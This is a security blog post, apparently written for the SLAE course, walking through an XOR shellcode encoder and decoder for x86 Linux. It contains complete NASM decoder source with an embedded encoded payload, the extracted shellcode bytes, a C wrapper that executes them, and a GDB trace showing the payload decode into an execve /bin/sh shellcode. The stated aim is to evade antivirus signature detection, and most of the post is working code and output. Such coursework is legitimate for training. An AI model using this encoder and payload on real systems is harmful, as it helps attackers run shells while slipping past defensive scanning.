Shellcode XOR Encoder and Decoder for Linux (x86)
Next I wanted to cover the shellcode XOR encoder and decoder that I wrote during theSLAE course.
Shellcode XOR Encoder and Decoder – Introduction
If you are not familiar, you use a shellcode encoder/decoder to hide the shellcode from AV signature detection.
First, you place the encoded shellcode inside of the decoder application, and then the application proceeds to decode the shellcode. Once the decoding is complete, the decoder stub jumps to the shellcode, and it executes it.
While the shellcode is now harder to detect with signature detection, note that the decoder stub itself could be detected.
XOR Encoding/Decoding
If you are unfamiliar with the XOR operator, it performs anexclusive OR.
For example, the following truth table covers the 4 possibilities.
- NOT A xor NOT B = 0
- A xor B = 0
- A xor NOT B = 1
- NOT A xor B = 1
In this case, we will use a property of XOR that makes it easily reversible.
- (A xor B) xor B = A
This means that we encode our original shellcode byte (A) with the encoding byte (B). Then, during the decoder process, we just need to XOR the encoded byte with the encoder byte (B), to get the original shellcode byte (A).
Here is a great image frommutti that breaks down the process.
To perform the encoding and decoding process, you do the following four steps (viaSLAE.
- Select an encoder byte, i.e.: 0xAA
- XOR every byte of the Shellcode with 0xAA
- Write a decoder stub that will XOR the encoded shellcode bytes with 0xAA (thereby recovering the original shellcode)
- Pass control from the decoder stub to the decoded shellcode
With all of that in mind, let’s jump into the code!
Shellcode XOR Encoder and Decoder – The Code
First, I'll start by just sharing my final application code. It is very well commented, but I'll also explain it a bit further below.
As you can see, it uses the same JMP-CALL-POP technique as myHello World shellcode.
The xor operation is fairly straightforward, and then the application loops through the decode process until it reaches the “marker”.
I used a marker of 0xAA to note the end of the payload. The application will exit before it attempts to execute this null-byte, and it isn’t an actual null in our compiled shellcode, since we’ve encoded the byte.
; Filename: xor_decoder_marker.nasm; Author: Ray Doyle (@doylersec); Website: https://www.doyler.net;; Purpose: XOR Decoder with variable length payloadglobal _start section .text_start: ; JMP-CALL-POP allows the application to be written without any hardcoded addresses (unlike 'mov ecx, Shellcode') jmp short call_decoderdecoder: ; Move the pointer to the encoded Shellcode into ESI off of the stack pop esidecode: ; XOR the byte pointed to by ESI by 0xAA - this was the value chosen during encoding, but can be modified xor byte [esi], 0xAA ; If the zero flag is set (this will only occur if [ESI] xor 0xAA is zero, so only when a null byte was encoded), then jump to the shellcode ; This is utilized to mark the end of the shellcode, so that a length variable is not needed jz Shellcode ; Increment ESI to decode the next byte of shellcode inc esi ; Loop back through decode jmp short decodecall_decoder: call decoder ; The encoded shellcode Shellcode: db 0x9b,0x6a,0xfa,0xc2,0x85,0x85,0xd9,0xc2,0xc2,0x85,0xc8,0xc3,0xc4,0x23,0x49,0xfa,0x23,0x48,0xf9,0x23,0x4b,0x1a,0xa1,0x67,0x2a,0xaa
Compiling, Converting to Shellcode, and Testing
First, I compiled and linked my assembly to create a binary.
doyler@slae:~/slae/module2-7$ nasm -f elf32 -o xor_decoder_marker.o xor_decoder_marker.nasmdoyler@slae:~/slae/module2-7$ ld -o xor_decoder_marker xor_decoder_marker.o
Next, I used the one-liner to extract the shellcode, add it to my wrapper, and then compiled it.
doyler@slae:~/slae/module2-7$ objdump -d ./xor_decoder_marker|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'"\xeb\x09\x5e\x80\x36\xaa\x74\x08\x46\xeb\xf8\xe8\xf2\xff\xff\xff\x9b\x6a\xfa\xc2\x85\x85\xd9\xc2\xc2\x85\xc8\xc3\xc4\x23\x49\xfa\x23\x48\xf9\x23\x4b\x1a\xa1\x67\x2a\xaa"doyler@slae:~/slae/module2-7$ vi shellcode.cdoyler@slae:~/slae/module2-7$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
Finally, I executed the application to make sure that it worked. In this case, I’m just reusing Vivek’s execve (/bin/sh) shellcode from an earlier chapter.
doyler@slae:~/slae/module2-7$ ./shellcodeShellcode Length: 42$$$ exit
Tracing Execution
I also used GDB to trace the program’s execution, and watch the decoder at work.
To start, the shellcode is still clearly encrypted, as expected.
doyler@slae:~/slae/module2/module2-7$ gdb -q shellcodeReading symbols from /home/doyler/slae/module2/module2-7/shellcode...(no debugging symbols found)...done.(gdb) set disassembly-flavor intel(gdb) break mainBreakpoint 1 at 0x80483e8(gdb) rStarting program: /home/doyler/slae/module2/module2-7/shellcodeBreakpoint 1, 0x080483e8 in main ()(gdb) print/x &code$1 = 0x804a040(gdb) break *0x804a040Breakpoint 2 at 0x804a040(gdb) disassembleDump of assembler code for function main: 0x080483e4 <+0>: push ebp 0x080483e5 <+1>: mov ebp,esp 0x080483e7 <+3>: push edi=> 0x080483e8 <+4>: and esp,0xfffffff0 0x080483eb <+7>: sub esp,0x30 0x080483ee <+10>: mov eax,0x804a040 0x080483f3 <+15>: mov DWORD PTR [esp+0x1c],0xffffffff 0x080483fb <+23>: mov edx,eax 0x080483fd <+25>: mov eax,0x0 0x08048402 <+30>: mov ecx,DWORD PTR [esp+0x1c] 0x08048406 <+34>: mov edi,edx 0x08048408 <+36>: repnz scas al,BYTE PTR es:[edi] 0x0804840a <+38>: mov eax,ecx 0x0804840c <+40>: not eax 0x0804840e <+42>: lea edx,[eax-0x1] 0x08048411 <+45>: mov eax,0x8048510 0x08048416 <+50>: mov DWORD PTR [esp+0x4],edx 0x0804841a <+54>: mov DWORD PTR [esp],eax 0x0804841d <+57>: call 0x8048300 <printf@plt> 0x08048422 <+62>: mov DWORD PTR [esp+0x2c],0x804a040 0x0804842a <+70>: mov eax,DWORD PTR [esp+0x2c] 0x0804842e <+74>: call eax 0x08048430 <+76>: mov edi,DWORD PTR [ebp-0x4] 0x08048433 <+79>: leave 0x08048434 <+80>: ret End of assembler dump.(gdb) cContinuing.Shellcode Length: 42Breakpoint 2, 0x0804a040 in code ()(gdb) disassembleDump of assembler code for function code:=> 0x0804a040 <+0>: jmp 0x804a04b <code+11> 0x0804a042 <+2>: pop esi 0x0804a043 <+3>: xor BYTE PTR [esi],0xaa 0x0804a046 <+6>: je 0x804a050 <code+16> 0x0804a048 <+8>: inc esi 0x0804a049 <+9>: jmp 0x804a043 <code+3> 0x0804a04b <+11>: call 0x804a042 <code+2> 0x0804a050 <+16>: fwait 0x0804a051 <+17>: push 0xfffffffa 0x0804a053 <+19>: ret 0x8585 0x0804a056 <+22>: fld st(2) 0x0804a058 <+24>: ret 0xc885 0x0804a05b <+27>: ret 0x0804a05c <+28>: les esp,FWORD PTR [ebx] 0x0804a05e <+30>: dec ecx 0x0804a05f <+31>: cli 0x0804a060 <+32>: and ecx,DWORD PTR [eax-0x7] 0x0804a063 <+35>: and ecx,DWORD PTR [ebx+0x1a] 0x0804a066 <+38>: mov eax,ds:0xaa2a67End of assembler dump.(gdb) x/45xb 0x0804a0500x804a050 <code+16>: 0x9b 0x6a 0xfa 0xc2 0x85 0x85 0xd9 0xc20x804a058 <code+24>: 0xc2 0x85 0xc8 0xc3 0xc4 0x23 0x49 0xfa0x804a060 <code+32>: 0x23 0x48 0xf9 0x23 0x4b 0x1a 0xa1 0x670x804a068 <code+40>: 0x2a 0xaa 0x00 0x00 0x00 0x00 0x00 0x000x804a070 <dtor_idx.6161>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x000x804a078: 0x00 0x00 0x00 0x00 0x00(gdb) shell cat shellcode.c#include<stdio.h>#include<string.h>unsigned char code[] = \"\xeb\x09\x5e\x80\x36\xaa\x74\x08\x46\xeb\xf8\xe8\xf2\xff\xff\xff\x9b\x6a\xfa\xc2\x85\x85\xd9\xc2\xc2\x85\xc8\xc3\xc4\x23\x49\xfa\x23\x48\xf9\x23\x4b\x1a\xa1\x67\x2a\xaa";main(){ printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret();} (gdb) x/10i 0x0804a050 0x804a050 <code+16>: fwait 0x804a051 <code+17>: push 0xfffffffa 0x804a053 <code+19>: ret 0x8585 0x804a056 <code+22>: fld st(2) 0x804a058 <code+24>: ret 0xc885 0x804a05b <code+27>: ret 0x804a05c <code+28>: les esp,FWORD PTR [ebx] 0x804a05e <code+30>: dec ecx 0x804a05f <code+31>: cli 0x804a060 <code+32>: and ecx,DWORD PTR [eax-0x7]After stepping a few times, we can see that the decoder is doing its job, and the original shellcode is starting to return.
(gdb) stepiDump of assembler code for function code: 0x0804a040 <+0>: jmp 0x804a04b <code+11> 0x0804a042 <+2>: pop esi 0x0804a043 <+3>: xor BYTE PTR [esi],0xaa=> 0x0804a046 <+6>: je 0x804a050 <code+16> 0x0804a048 <+8>: inc esi 0x0804a049 <+9>: jmp 0x804a043 <code+3> 0x0804a04b <+11>: call 0x804a042 <code+2> 0x0804a050 <+16>: xor eax,eax 0x0804a052 <+18>: push eax 0x0804a053 <+19>: push 0xc2d9852f 0x0804a058 <+24>: ret 0xc885 0x0804a05b <+27>: ret 0x0804a05c <+28>: les esp,FWORD PTR [ebx] 0x0804a05e <+30>: dec ecx 0x0804a05f <+31>: cli 0x0804a060 <+32>: and ecx,DWORD PTR [eax-0x7] 0x0804a063 <+35>: and ecx,DWORD PTR [ebx+0x1a] 0x0804a066 <+38>: mov eax,ds:0xaa2a67End of assembler dump.0x804a050 <code+16>: 0x31 0x804a050 <code+16>: xor eax,eax 0x804a052 <code+18>: push eax 0x804a053 <code+19>: push 0xc2d9852f 0x804a058 <code+24>: ret 0xc885 0x804a05b <code+27>: ret 0x804a05c <code+28>: les esp,FWORD PTR [ebx] 0x804a05e <code+30>: dec ecx 0x804a05f <code+31>: cli 0x804a060 <code+32>: and ecx,DWORD PTR [eax-0x7] 0x804a063 <code+35>: and ecx,DWORD PTR [ebx+0x1a]0x0804a046 in code ()
Finally, after a few more loops, the shellcode matches our un-encoded version!
(gdb)Dump of assembler code for function code: 0x0804a040 <+0>: jmp 0x804a04b <code+11> 0x0804a042 <+2>: pop esi 0x0804a043 <+3>: xor BYTE PTR [esi],0xaa=> 0x0804a046 <+6>: je 0x804a050 <code+16> 0x0804a048 <+8>: inc esi 0x0804a049 <+9>: jmp 0x804a043 <code+3> 0x0804a04b <+11>: call 0x804a042 <code+2> 0x0804a050 <+16>: xor eax,eax 0x0804a052 <+18>: push eax 0x0804a053 <+19>: push 0x68732f2f 0x0804a058 <+24>: push 0x6e69622f 0x0804a05d <+29>: mov DWORD PTR [ecx-0x6],ecx 0x0804a060 <+32>: and ecx,DWORD PTR [eax-0x7] 0x0804a063 <+35>: and ecx,DWORD PTR [ebx+0x1a] 0x0804a066 <+38>: mov eax,ds:0xaa2a67End of assembler dump.0x804a050 <code+16>: 0x31 0x804a050 <code+16>: xor eax,eax 0x804a052 <code+18>: push eax 0x804a053 <code+19>: push 0x68732f2f 0x804a058 <code+24>: push 0x6e69622f 0x804a05d <code+29>: mov DWORD PTR [ecx-0x6],ecx 0x804a060 <code+32>: and ecx,DWORD PTR [eax-0x7] 0x804a063 <code+35>: and ecx,DWORD PTR [ebx+0x1a] 0x804a066 <code+38>: mov eax,ds:0xaa2a67 0x804a06b: add BYTE PTR [eax],al 0x804a06d: add BYTE PTR [eax],al0x0804a046 in code ()(gdb) break *0x804a050Breakpoint 3 at 0x804a050(gdb) cContinuing.Dump of assembler code for function code: 0x0804a040 <+0>: jmp 0x804a04b <code+11> 0x0804a042 <+2>: pop esi 0x0804a043 <+3>: xor BYTE PTR [esi],0xaa 0x0804a046 <+6>: je 0x804a050 <code+16> 0x0804a048 <+8>: inc esi 0x0804a049 <+9>: jmp 0x804a043 <code+3> 0x0804a04b <+11>: call 0x804a042 <code+2>=> 0x0804a050 <+16>: xor eax,eax 0x0804a052 <+18>: push eax 0x0804a053 <+19>: push 0x68732f2f 0x0804a058 <+24>: push 0x6e69622f 0x0804a05d <+29>: mov ebx,esp 0x0804a05f <+31>: push eax 0x0804a060 <+32>: mov edx,esp 0x0804a062 <+34>: push ebx 0x0804a063 <+35>: mov ecx,esp 0x0804a065 <+37>: mov al,0xb 0x0804a067 <+39>: int 0x80 0x0804a069 <+41>: add BYTE PTR [eax],alEnd of assembler dump.0x804a050 <code+16>: 0x31=> 0x804a050 <code+16>: xor eax,eax 0x804a052 <code+18>: push eax 0x804a053 <code+19>: push 0x68732f2f 0x804a058 <code+24>: push 0x6e69622f 0x804a05d <code+29>: mov ebx,esp 0x804a05f <code+31>: push eax 0x804a060 <code+32>: mov edx,esp 0x804a062 <code+34>: push ebx 0x804a063 <code+35>: mov ecx,esp 0x804a065 <code+37>: mov al,0xbBreakpoint 3, 0x0804a050 in code ()(gdb) shell cat execve-stack.nasm; Filename: execve-stack.nasm; Author: Vivek Ramachandran; Website: http://securitytube.net; Training: http://securitytube-training.com;;; Purpose:global _start section .text_start: ; PUSH the first null dword xor eax, eax push eax ; PUSH //bin/sh (8 bytes) push 0x68732f2f push 0x6e69622f mov ebx, esp push eax mov edx, esp push ebx mov ecx, esp mov al, 11 int 0x80(gdb) exitUndefined command: "exit". Try "help".(gdb) quitA debugging session is active. Inferior 1 [process 21053] will be killed.Quit anyway? (y or n) y
Shellcode XOR Encoder and Decoder – Conclusion
This encoder was pretty fun, and definitely lowered the detection rate on my execve payload.
You can find the code, and any updates, in myGitHub repository.
I apologize for my naming conventions being all over the place. I’ve been switching between underscores and dashes almost every exercise. This is something that I’d love to clean up in the future, but feel free to submit a pull request.
I was going to include a NOT encoder in this post as well. That said, after brushing up on my bitwise operations, I realized that NOT is the same as (and actually slower than) XOR 0xFF.
If you have any suggestions, or ideas for future posts, then please let me know.
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure pagehere. As an Amazon Associate, I earn from qualifying purchases.
Leave a ReplyCancel Reply
This site uses Akismet to reduce spam.Learn how your comment data is processed.
Popular Posts
